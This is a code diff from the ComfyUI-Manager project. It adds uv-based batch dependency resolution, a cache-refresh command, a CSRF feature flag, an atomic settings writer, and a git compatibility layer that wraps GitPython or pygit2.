mode: str = typer.Argument(
|
||||
..., help="[enable|disable]"
|
||||
),
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cli_mode_flag = os.path.join(cmd_ctx.manager_files_directory, '.enable-cli-only-mode')
|
||||
|
||||
if mode.lower() == 'enable':
|
||||
with open(cli_mode_flag, 'w'):
|
||||
pass
|
||||
print("\nINFO: `cli-only-mode` is enabled\n")
|
||||
elif mode.lower() == 'disable':
|
||||
if os.path.exists(cli_mode_flag):
|
||||
os.remove(cli_mode_flag)
|
||||
print("\nINFO: `cli-only-mode` is disabled\n")
|
||||
else:
|
||||
print(f"\n[bold red]Invalid value for cli-only-mode: {mode}[/bold red]\n")
|
||||
exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"deps-in-workflow", help="Generate dependencies file from workflow (.json/.png)"
|
||||
@@ -1087,7 +1146,7 @@ def save_snapshot(
|
||||
|
||||
@app.command("restore-snapshot", help="Restore snapshot from snapshot file")
|
||||
def restore_snapshot(
|
||||
snapshot_name: str,
|
||||
snapshot_name: str,
|
||||
pip_non_url: Optional[bool] = typer.Option(
|
||||
default=None,
|
||||
show_default=False,
|
||||
@@ -1113,13 +1172,24 @@ def restore_snapshot(
|
||||
restore_to: Optional[str] = typer.Option(
|
||||
None,
|
||||
help="Manually specify the installation path for the custom node. Ignore user directory."
|
||||
)
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if restore_to:
|
||||
cmd_ctx.update_custom_nodes_dir(restore_to)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
extras = []
|
||||
if pip_non_url:
|
||||
extras.append('--pip-non-url')
|
||||
@@ -1146,8 +1216,11 @@ def restore_snapshot(
|
||||
except Exception:
|
||||
print("[bold red]ERROR: Failed to restore snapshot.[/bold red]")
|
||||
traceback.print_exc()
|
||||
if uv_compile:
|
||||
pip_fixer.fix_broken()
|
||||
raise typer.Exit(code=1)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1157,10 +1230,21 @@ def restore_dependencies(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
)
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After restoring, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
node_paths = []
|
||||
|
||||
for base_path in cmd_ctx.get_custom_nodes_paths():
|
||||
@@ -1176,9 +1260,10 @@ def restore_dependencies(
|
||||
for x in node_paths:
|
||||
print("----------------------------------------------------------------------------------------------------")
|
||||
print(f"Restoring [{i}/{total}]: {x}")
|
||||
unified_manager.execute_install_script('', x, instant_execution=True)
|
||||
unified_manager.execute_install_script('', x, instant_execution=True, no_deps=bool(uv_compile))
|
||||
i += 1
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
|
||||
@app.command(
|
||||
@@ -1219,9 +1304,21 @@ def install_deps(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
uv_compile: Annotated[
|
||||
Optional[bool],
|
||||
typer.Option(
|
||||
"--uv-compile",
|
||||
show_default=False,
|
||||
help="After installing, batch-resolve all dependencies via uv pip compile",
|
||||
),
|
||||
] = False,
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
cmd_ctx.set_channel_mode(channel, mode)
|
||||
|
||||
if uv_compile:
|
||||
cmd_ctx.set_no_deps(True)
|
||||
|
||||
asyncio.run(auto_save_snapshot())
|
||||
|
||||
if not os.path.exists(deps):
|
||||
@@ -1241,14 +1338,114 @@ def install_deps(
|
||||
if state == 'installed':
|
||||
continue
|
||||
elif state == 'not-installed':
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True))
|
||||
asyncio.run(core.gitclone_install(k, instant_execution=True, no_deps=bool(uv_compile)))
|
||||
else: # disabled
|
||||
core.gitclone_set_active([k], False)
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
_finalize_resolve(pip_fixer, uv_compile)
|
||||
|
||||
print("Dependency installation and activation complete.")
|
||||
|
||||
|
||||
def _finalize_resolve(pip_fixer, uv_compile) -> None:
|
||||
"""Run batch resolution if --uv-compile is set, then fix broken packages."""
|
||||
if uv_compile:
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Batch resolution failed: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
else:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
def _run_unified_resolve():
|
||||
"""Shared logic for unified batch dependency resolution."""
|
||||
from comfyui_manager.common.unified_dep_resolver import (
|
||||
UnifiedDepResolver,
|
||||
UvNotAvailableError,
|
||||
attribute_conflicts,
|
||||
collect_base_requirements,
|
||||
collect_node_pack_paths,
|
||||
)
|
||||
|
||||
node_pack_paths = collect_node_pack_paths(cmd_ctx.get_custom_nodes_paths())
|
||||
if not node_pack_paths:
|
||||
print("[bold yellow]No custom node packs found.[/bold yellow]")
|
||||
return
|
||||
|
||||
print(f"Resolving dependencies for {len(node_pack_paths)} node pack(s)...")
|
||||
|
||||
resolver = UnifiedDepResolver(
|
||||
node_pack_paths=node_pack_paths,
|
||||
base_requirements=collect_base_requirements(comfy_path),
|
||||
blacklist=cm_global.pip_blacklist,
|
||||
overrides=cm_global.pip_overrides,
|
||||
downgrade_blacklist=cm_global.pip_downgrade_blacklist,
|
||||
)
|
||||
try:
|
||||
result = resolver.resolve_and_install()
|
||||
except UvNotAvailableError:
|
||||
print("[bold red]uv is not available. Install uv to use this feature.[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
|
||||
if result.success:
|
||||
collected = result.collected
|
||||
if collected:
|
||||
print(
|
||||
f"[bold green]Resolved {len(collected.requirements)} deps "
|
||||
f"from {len(collected.sources)} source(s) "
|
||||
f"(skipped {len(collected.skipped)}).[/bold green]"
|
||||
)
|
||||
else:
|
||||
print("[bold green]Resolution complete (no deps needed).[/bold green]")
|
||||
else:
|
||||
print(f"[bold red]Resolution failed: {result.error}[/bold red]")
|
||||
if result.lockfile and result.lockfile.conflicts and result.collected:
|
||||
attributed = attribute_conflicts(result.collected.sources, result.lockfile.conflicts)
|
||||
if attributed:
|
||||
print("[bold yellow]Conflicting packages (by node pack):[/bold yellow]")
|
||||
for pkg_name, requesters in sorted(attributed.items()):
|
||||
print(f" [yellow]{pkg_name}[/yellow]:")
|
||||
for pack_path, pkg_spec in requesters:
|
||||
print(f" {os.path.basename(pack_path)} → {pkg_spec}")
|
||||
raise typer.Exit(1)
|
||||
|
||||
|
||||
@app.command(
|
||||
"uv-sync",
|
||||
help="Batch-resolve and install all custom node dependencies via uv pip compile.",
|
||||
)
|
||||
def unified_uv_compile(
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
|
||||
pip_fixer = manager_util.PIPFixer(manager_util.get_installed_packages(), comfy_path, context.manager_files_path)
|
||||
try:
|
||||
_run_unified_resolve()
|
||||
except ImportError as e:
|
||||
print(f"[bold red]Failed to import unified_dep_resolver: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
except typer.Exit:
|
||||
raise
|
||||
except Exception as e:
|
||||
print(f"[bold red]Unexpected error: {e}[/bold red]")
|
||||
raise typer.Exit(1)
|
||||
finally:
|
||||
pip_fixer.fix_broken()
|
||||
|
||||
|
||||
@app.command(help="Clear reserved startup action in ComfyUI-Manager")
|
||||
def clear():
|
||||
cancel()
|
||||
@@ -1292,6 +1489,91 @@ def export_custom_node_ids(
|
||||
print(f"{x['id']}@unknown", file=output_file)
|
||||
|
||||
|
||||
@app.command("update-cache", help="Force-fetch all remote data and populate local cache (blocking)")
|
||||
def update_cache(
|
||||
channel: Annotated[
|
||||
str,
|
||||
typer.Option(
|
||||
show_default=False,
|
||||
help="Specify the channel"
|
||||
),
|
||||
] = None,
|
||||
user_directory: str = typer.Option(
|
||||
None,
|
||||
help="user directory"
|
||||
),
|
||||
):
|
||||
cmd_ctx.set_user_directory(user_directory)
|
||||
if channel is not None:
|
||||
cmd_ctx.channel = channel
|
||||
|
||||
asyncio.run(_force_update_cache(cmd_ctx.channel))
|
||||
|
||||
|
||||
async def _force_update_cache(channel):
|
||||
"""Fetch all remote data and save to cache, bypassing pip/offline guards."""
|
||||
core.refresh_channel_dict()
|
||||
config = core.get_config()
|
||||
channel_url = config['channel_url']
|
||||
|
||||
os.makedirs(manager_util.cache_dir, exist_ok=True)
|
||||
|
||||
failed = []
|
||||
|
||||
# Step 1: Fetch channel JSON files directly (bypasses get_data_by_mode pip guard)
|
||||
filenames = [
|
||||
"custom-node-list.json",
|
||||
"extension-node-map.json",
|
||||
"model-list.json",
|
||||
"alter-list.json",
|
||||
"github-stats.json",
|
||||
]
|
||||
|
||||
async def fetch_and_cache(filename):
|
||||
try:
|
||||
if config.get('default_cache_as_channel_url'):
|
||||
uri = f"{channel_url}/{filename}"
|
||||
else:
|
||||
uri = f"{core.DEFAULT_CHANNEL}/{filename}"
|
||||
|
||||
cache_uri = str(manager_util.simple_hash(uri)) + '_' + filename
|
||||
cache_uri = os.path.join(manager_util.cache_dir, cache_uri)
|
||||
|
||||
json_obj = await manager_util.get_data(uri, silent=True)
|
||||
|
||||
with manager_util.cache_lock:
|
||||
with open(cache_uri, "w", encoding='utf-8') as file:
|
||||
json.dump(json_obj, file, indent=4, sort_keys=True)
|
||||
|
||||
print(f" [CACHED] {filename}")
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] {filename}: {e}[/bold red]")
|
||||
failed.append(filename)
|
||||
|
||||
print("Fetching channel data...")
|
||||
await asyncio.gather(*[fetch_and_cache(f) for f in filenames])
|
||||
|
||||
# Step 2: Reload unified_manager with remote mode
|
||||
# cache_mode='remote' makes cache_mode==False in get_cnr_data,
|
||||
# which bypasses the dont_wait block and triggers blocking fetch_all()
|
||||
print("Fetching CNR registry data...")
|
||||
try:
|
||||
await unified_manager.reload('remote', dont_wait=False)
|
||||
except Exception as e:
|
||||
print(f" [bold red][FAILED] CNR registry: {e}[/bold red]")
|
||||
failed.append("CNR registry")
|
||||
|
||||
# Step 3: Load nightly data (cache files now exist from Step 1)
|
||||
print("Loading nightly data...")
|
||||
await unified_manager.load_nightly(channel or 'default', 'cache')
|
||||
|
||||
if failed:
|
||||
print(f"\n[bold red]Cache update incomplete. Failed: {', '.join(failed)}[/bold red]")
|
||||
sys.exit(1)
|
||||
else:
|
||||
print("[bold green]Cache update complete.[/bold green]")
|
||||
|
||||
|
||||
def main():
|
||||
app()
|
||||
|
||||
@@ -6,6 +6,26 @@ from .common import manager_security
|
||||
from comfy.cli_args import args
|
||||
|
||||
|
||||
# Register server-push feature flag so ComfyUI_frontend (and other clients)
|
||||
# can detect CSRF-POST backend capability as a semantic contract (vs version
|
||||
# string parsing). See PR #2818 for context; clients use this flag to decide
|
||||
# whether to invoke POST state-mutation endpoints. Manager versions prior to
|
||||
# 4.2.1 do not set this flag — clients should treat its absence as
|
||||
# 'incompatible with POST-only state-mutation endpoints'.
|
||||
try:
|
||||
from comfy_api import feature_flags as _core_feature_flags
|
||||
_mgr_flags = (
|
||||
_core_feature_flags.SERVER_FEATURE_FLAGS
|
||||
.setdefault('extension', {})
|
||||
.setdefault('manager', {})
|
||||
)
|
||||
_mgr_flags['supports_csrf_post'] = True
|
||||
except ImportError:
|
||||
# Older ComfyUI core without comfy_api.feature_flags module.
|
||||
# Manager functions but clients will not observe the flag.
|
||||
pass
|
||||
|
||||
|
||||
def prestartup():
|
||||
from . import prestartup_script # noqa: F401
|
||||
logging.info('[PRE] ComfyUI-Manager')
|
||||
@@ -26,7 +46,15 @@ def start():
|
||||
logging.info("[ComfyUI-Manager] Legacy UI is enabled.")
|
||||
nodes.EXTENSION_WEB_DIRS['comfyui-manager-legacy'] = os.path.join(os.path.dirname(__file__), 'js')
|
||||
except Exception as e:
|
||||
print("Error enabling legacy ComfyUI Manager frontend:", e)
|
||||
# WI-V: upgraded silent `print` to a proper logging.error with
|
||||
# traceback so future legacy-UI load failures are visible in
|
||||
# the log, not swallowed. The original `print` could be lost
|
||||
# depending on how stdout is captured.
|
||||
import traceback
|
||||
logging.error(
|
||||
"[ComfyUI-Manager] Error enabling legacy frontend: "
|
||||
f"{type(e).__name__}: {e}\n{traceback.format_exc()}"
|
||||
)
|
||||
core = None
|
||||
else:
|
||||
from .glob import manager_server # noqa: F401
|
||||
|
||||
@@ -134,6 +134,7 @@ class NodeVersion:
|
||||
id: str
|
||||
version: str
|
||||
download_url: str
|
||||
status: str = ''
|
||||
|
||||
|
||||
def map_node_version(api_node_version):
|
||||
@@ -165,6 +166,7 @@ def map_node_version(api_node_version):
|
||||
download_url=api_node_version.get(
|
||||
"downloadUrl", ""
|
||||
), # Provide a default value if 'downloadUrl' is missing
|
||||
status=api_node_version.get('status', ''),
|
||||
)
|
||||
|
||||
|
||||
@@ -257,4 +259,3 @@ def read_cnr_id(fullpath):
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
"""Shared settings-file writer for glob and legacy."""
|
||||
import configparser
|
||||
import os
|
||||
import tempfile
|
||||
|
||||
from rich import print
|
||||
|
||||
|
||||
class DirtyTrackingConfig(dict):
|
||||
"""Track keys assigned after loading the startup configuration."""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self.dirty_keys = set()
|
||||
|
||||
def __setitem__(self, key, value):
|
||||
self.dirty_keys.add(key)
|
||||
super().__setitem__(key, value)
|
||||
|
||||
def update(self, *args, **kwargs):
|
||||
incoming = dict(*args, **kwargs)
|
||||
self.dirty_keys.update(incoming)
|
||||
super().update(incoming)
|
||||
|
||||
|
||||
def write_config_merged(config_path, cached, written_config_keys):
|
||||
"""Merge changed owned keys onto the latest settings on disk.
|
||||
|
||||
Preserve parsed keys and values, not INI comments or formatting."""
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
try:
|
||||
loaded = config.read(config_path)
|
||||
except (configparser.Error, UnicodeDecodeError) as e:
|
||||
# Preserve the existing fallback for malformed files.
|
||||
print(f"[ComfyUI-Manager] Warning: '{config_path}' could not be parsed ({e}); rewriting it from the current settings.")
|
||||
config = configparser.ConfigParser(strict=False)
|
||||
else:
|
||||
# ConfigParser.read silently skips unreadable files; do not overwrite one.
|
||||
if not loaded and os.path.exists(config_path):
|
||||
raise OSError(f"'{config_path}' exists but could not be read; refusing to overwrite it with default settings. Fix the file's permissions, then retry.")
|
||||
|
||||
if config.has_section('default'):
|
||||
keys = [key for key in written_config_keys if key in cached.dirty_keys]
|
||||
else:
|
||||
config['default'] = {}
|
||||
keys = list(written_config_keys)
|
||||
|
||||
section = config['default']
|
||||
for key in keys:
|
||||
section[key] = str(cached[key]).replace('\r', '').replace('\n', '').replace('\x00', '')
|
||||
|
||||
directory = os.path.dirname(config_path)
|
||||
if directory and not os.path.exists(directory):
|
||||
os.makedirs(directory)
|
||||
|
||||
# Replace from the same directory so readers never see a partial write.
|
||||
tmp_path = None
|
||||
try:
|
||||
with tempfile.NamedTemporaryFile(
|
||||
'w', dir=directory or '.', prefix='.config-', suffix='.tmp', delete=False
|
||||
) as configfile:
|
||||
tmp_path = configfile.name
|
||||
config.write(configfile)
|
||||
configfile.flush()
|
||||
os.fsync(configfile.fileno())
|
||||
# Retain the existing mode instead of the temporary file's 0600.
|
||||
if os.path.exists(config_path):
|
||||
os.chmod(tmp_path, os.stat(config_path).st_mode & 0o777)
|
||||
os.replace(tmp_path, config_path)
|
||||
tmp_path = None
|
||||
finally:
|
||||
if tmp_path is not None and os.path.exists(tmp_path):
|
||||
os.remove(tmp_path)
|
||||
|
||||
# Clear only persisted keys, and only after a successful write.
|
||||
cached.dirty_keys.difference_update(keys)
|
||||
@@ -3,7 +3,7 @@ import os
|
||||
import logging
|
||||
from . import manager_util
|
||||
import toml
|
||||
import git
|
||||
from .git_compat import open_repo
|
||||
|
||||
|
||||
# read env vars
|
||||
@@ -98,8 +98,8 @@ def get_current_comfyui_ver():
|
||||
|
||||
def get_comfyui_tag():
|
||||
try:
|
||||
with git.Repo(comfy_path) as repo:
|
||||
return repo.git.describe('--tags')
|
||||
with open_repo(comfy_path) as repo:
|
||||
return repo.describe_tags()
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
|
||||
@@ -0,0 +1,940 @@
|
||||
"""
|
||||
git_compat.py — Compatibility layer for git operations in ComfyUI-Manager.
|
||||
|
||||
Wraps either GitPython (`git` module) or `pygit2`, depending on availability
|
||||
and the CM_USE_PYGIT2 environment variable (set by Desktop 2.0 Launcher).
|
||||
|
||||
Exports:
|
||||
USE_PYGIT2 — bool: which backend is active
|
||||
GitCommandError — exception class for git command failures
|
||||
open_repo(path) — returns a repo wrapper object
|
||||
clone_repo(url, dest, progress=None) — clone a repository
|
||||
get_comfyui_tag(repo_path) — get describe --tags output
|
||||
setup_git_environment(git_exe) — configure git executable path
|
||||
"""
|
||||
|
||||
import os
|
||||
import re
|
||||
import sys
|
||||
from abc import ABC, abstractmethod
|
||||
from collections import deque
|
||||
from datetime import datetime, timezone, timedelta
|
||||
|
||||
|
||||
# Snapshot of the user's global `http.proxy` (captured before the config
|
||||
# search path is blanked under the pygit2 backend) so corporate proxy
|
||||
# settings survive and can be passed explicitly to fetch/clone. None means
|
||||
# "no proxy".
|
||||
_HTTP_PROXY = None
|
||||
|
||||
|
||||
def _to_https_url(url):
|
||||
"""Rewrite an SSH-form git URL to its anonymous HTTPS equivalent.
|
||||
|
||||
Handles `git@host:owner/repo(.git)` and `ssh://git@host[:port]/owner/repo(.git)`.
|
||||
A custom SSH port is dropped — the HTTPS endpoint of a hosting service
|
||||
lives on the standard port regardless of its SSH port. Leading slashes in
|
||||
the path part are collapsed so `git@host:/abs/path` does not yield a
|
||||
double-slash URL. Returns the URL unchanged if it is not SSH-form, so
|
||||
pygit2 clone/fetch of public repos never requires SSH credentials even
|
||||
when a repo's own config stores an SSH origin.
|
||||
"""
|
||||
if not url:
|
||||
return url
|
||||
m = re.match(r"^ssh://git@([^:/]+)(?::\d+)?/(.+)$", url)
|
||||
if m is None:
|
||||
m = re.match(r"^git@([^:/]+):(.+)$", url)
|
||||
if m:
|
||||
return "https://%s/%s" % (m.group(1), m.group(2).lstrip("/"))
|
||||
return url
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Backend selection
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
_PYGIT2_REQUESTED = os.environ.get('CM_USE_PYGIT2', '').strip() == '1'
|
||||
USE_PYGIT2 = _PYGIT2_REQUESTED
|
||||
|
||||
if not USE_PYGIT2:
|
||||
try:
|
||||
import git as _git
|
||||
_git.Git().execute(['git', '--version'])
|
||||
except Exception:
|
||||
USE_PYGIT2 = True
|
||||
|
||||
if USE_PYGIT2:
|
||||
try:
|
||||
import pygit2 as _pygit2
|
||||
except ImportError:
|
||||
# pygit2 not available either — fall back to GitPython and let it
|
||||
# fail at the point of use, preserving pre-existing behavior.
|
||||
USE_PYGIT2 = False
|
||||
_PYGIT2_REQUESTED = False
|
||||
import git as _git
|
||||
else:
|
||||
# Disable owner validation once at import time.
|
||||
# Required for Desktop 2.0 standalone installs where repo directories
|
||||
# may be owned by a different user (e.g., system-installed paths).
|
||||
# See CVE-2022-24765 for context on this validation.
|
||||
_pygit2.option(_pygit2.GIT_OPT_SET_OWNER_VALIDATION, 0)
|
||||
|
||||
# Snapshot the global http.proxy BEFORE blanking the config search
|
||||
# path, so a corporate proxy survives and can be passed explicitly
|
||||
# to clone/fetch below.
|
||||
try:
|
||||
_global_cfg = _pygit2.Config.get_global_config()
|
||||
try:
|
||||
_HTTP_PROXY = _global_cfg["http.proxy"] or None
|
||||
except Exception:
|
||||
_HTTP_PROXY = None
|
||||
except Exception:
|
||||
_HTTP_PROXY = None
|
||||
|
||||
# Ignore system/global/XDG git config for libgit2 operations. A
|
||||
# user's global config can carry `insteadOf` rewrites (e.g.
|
||||
# https->ssh) or credential helpers that force authentication,
|
||||
# which libgit2 cannot satisfy without a credentials callback
|
||||
# ("authentication required but no callback set"). The bundled
|
||||
# pygit2 has no SSH transport, so an SSH rewrite can never succeed;
|
||||
# blanking the config search path keeps clone/fetch on anonymous
|
||||
# HTTPS.
|
||||
try:
|
||||
from pygit2.enums import ConfigLevel as _ConfigLevel
|
||||
_cfg_levels = [_ConfigLevel.SYSTEM, _ConfigLevel.XDG, _ConfigLevel.GLOBAL]
|
||||
except (ImportError, AttributeError):
|
||||
_cfg_levels = [
|
||||
_pygit2.GIT_CONFIG_LEVEL_SYSTEM,
|
||||
_pygit2.GIT_CONFIG_LEVEL_XDG,
|
||||
_pygit2.GIT_CONFIG_LEVEL_GLOBAL,
|
||||
]
|
||||
for _lvl in _cfg_levels:
|
||||
try:
|
||||
_pygit2.settings.search_path[_lvl] = ""
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
if not USE_PYGIT2:
|
||||
import git as _git
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Shared exception type
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if USE_PYGIT2:
|
||||
class GitCommandError(Exception):
|
||||
"""Stand-in for git.GitCommandError when using pygit2 backend."""
|
||||
pass
|
||||
else:
|
||||
from git import GitCommandError # noqa: F401
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Banner
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
if USE_PYGIT2:
|
||||
if _PYGIT2_REQUESTED:
|
||||
print("[ComfyUI-Manager] Using pygit2 backend (CM_USE_PYGIT2=1)")
|
||||
else:
|
||||
print("[ComfyUI-Manager] Using pygit2 backend (system git not available)")
|
||||
else:
|
||||
print("[ComfyUI-Manager] Using GitPython backend")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Abstract base class
|
||||
# ===================================================================
|
||||
|
||||
class GitRepo(ABC):
|
||||
"""Abstract interface for git repository operations."""
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def working_dir(self) -> str: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_commit_hexsha(self) -> str: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_is_detached(self) -> bool: ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def head_commit_datetime(self): ...
|
||||
|
||||
@property
|
||||
@abstractmethod
|
||||
def active_branch_name(self) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def is_dirty(self) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_tracking_remote_name(self) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_remote(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def has_ref(self, ref_name: str) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_commit_hexsha(self, ref_name: str) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_commit_datetime(self, ref_name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def list_remotes(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_remote_url(self, index_or_name) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def iter_commits_count(self) -> int: ...
|
||||
|
||||
@abstractmethod
|
||||
def symbolic_ref(self, ref: str) -> str: ...
|
||||
|
||||
@abstractmethod
|
||||
def describe_tags(self, exact_match=False): ...
|
||||
|
||||
@abstractmethod
|
||||
def list_tags(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def list_heads(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def list_branches(self) -> list: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_head_by_name(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def head_commit_equals(self, other_commit) -> bool: ...
|
||||
|
||||
@abstractmethod
|
||||
def get_ref_object(self, ref_name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def stash(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def pull_ff_only(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def reset_hard(self, ref: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def create_backup_branch(self, name: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def checkout(self, ref): ...
|
||||
|
||||
@abstractmethod
|
||||
def checkout_new_branch(self, branch_name: str, start_point: str): ...
|
||||
|
||||
@abstractmethod
|
||||
def submodule_update(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def clear_cache(self): ...
|
||||
|
||||
@abstractmethod
|
||||
def fetch_remote_by_index(self, index): ...
|
||||
|
||||
@abstractmethod
|
||||
def pull_remote_by_index(self, index): ...
|
||||
|
||||
@abstractmethod
|
||||
def close(self): ...
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, *args):
|
||||
self.close()
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# Helper types for tag/head/ref proxies
|
||||
# ===================================================================
|
||||
|
||||
class _TagProxy:
|
||||
"""Mimics a GitPython tag reference: .name and .commit."""
|
||||
def __init__(self, name, commit_obj):
|
||||
self.name = name
|
||||
self.commit = commit_obj
|
||||
|
||||
|
||||
class _HeadProxy:
|
||||
"""Mimics a GitPython head reference: .name and .commit."""
|
||||
def __init__(self, name, commit_obj=None):
|
||||
self.name = name
|
||||
self.commit = commit_obj
|
||||
|
||||
|
||||
class _RefProxy:
|
||||
"""Mimics a GitPython ref: .object.hexsha, .object.committed_datetime, .reference.commit."""
|
||||
def __init__(self, hexsha, committed_datetime, commit_obj=None):
|
||||
self.object = type('obj', (), {
|
||||
'hexsha': hexsha,
|
||||
'committed_datetime': committed_datetime,
|
||||
})()
|
||||
self.reference = type('ref', (), {'commit': commit_obj})() if commit_obj is not None else None
|
||||
|
||||
|
||||
class _RemoteProxy:
|
||||
"""Mimics a GitPython remote: .name, .url, .fetch(), .pull()."""
|
||||
def __init__(self, name, url, fetch_fn, pull_fn=None):
|
||||
self.name = name
|
||||
self.url = url
|
||||
self._fetch = fetch_fn
|
||||
self._pull = pull_fn
|
||||
|
||||
def fetch(self):
|
||||
return self._fetch()
|
||||
|
||||
def pull(self):
|
||||
if self._pull is not None:
|
||||
return self._pull()
|
||||
raise GitCommandError("pull not supported on this remote")
|
||||
|
||||
|
||||
# ===================================================================
|
||||
# GitPython wrapper — 1:1 pass-throughs
|
||||
# ===================================================================
|
||||
|
||||
class _GitPythonRepo(GitRepo):
|
||||
def __init__(self, path):
|
||||
self._repo = _git.Repo(path)
|
||||
|
||||
@property
|
||||
def working_dir(self):
|
||||
return self._repo.working_dir
|
||||
|
||||
@property
|
||||
def head_commit_hexsha(self):
|
||||
return self._repo.head.commit.hexsha
|
||||
|
||||
@property
|
||||
def head_is_detached(self):
|
||||
return self._repo.head.is_detached
|
||||
|
||||
@property
|
||||
def head_commit_datetime(self):
|
||||
return self._repo.head.commit.committed_datetime
|
||||
|
||||
@property
|
||||
def active_branch_name(self):
|
||||
return self._repo.active_branch.name
|
||||
|
||||
def is_dirty(self):
|
||||
return self._repo.is_dirty()
|
||||
|
||||
def get_tracking_remote_name(self):
|
||||
return self._repo.active_branch.tracking_branch().remote_name
|
||||
|
||||
def get_remote(self, name):
|
||||
r = self._repo.remote(name=name)
|
||||
return _RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
|
||||
|
||||
def has_ref(self, ref_name):
|
||||
return ref_name in self._repo.refs
|
||||
|
||||
def get_ref_commit_hexsha(self, ref_name):
|
||||
return self._repo.refs[ref_name].object.hexsha
|
||||
|
||||
def get_ref_commit_datetime(self, ref_name):
|
||||
return self._repo.refs[ref_name].object.committed_datetime
|
||||
|
||||
def list_remotes(self):
|
||||
return [_RemoteProxy(r.name, r.url, r.fetch, getattr(r, 'pull', None))
|
||||
for r in self._repo.remotes]
|
||||
|
||||
def get_remote_url(self, index_or_name):
|
||||
if isinstance(index_or_name, int):
|
||||
return self._repo.remotes[index_or_name].url
|
||||
return self._repo.remote(name=index_or_name).url
|
||||
|
||||
def iter_commits_count(self):
|
||||
return len(list(self._repo.iter_commits('HEAD')))
|
||||
|
||||
def symbolic_ref(self, ref):
|
||||
return self._repo.git.symbolic_ref(ref)
|
||||
|
||||
def describe_tags(self, exact_match=False):
|
||||
try:
|
||||
if exact_match:
|
||||
return self._repo.git.describe('--tags', '--exact-match')
|
||||
else:
|
||||
return self._repo.git.describe('--tags')
|
||||
except Exception:
|
||||
return None
|
||||
|
||||
def list_tags(self):
|
||||
return [_TagProxy(t.name, t.commit) for t in self._repo.tags]
|
||||
|
||||
def list_heads(self):
|
||||
return [_HeadProxy(h.name, h.commit) for h in self._repo.heads]
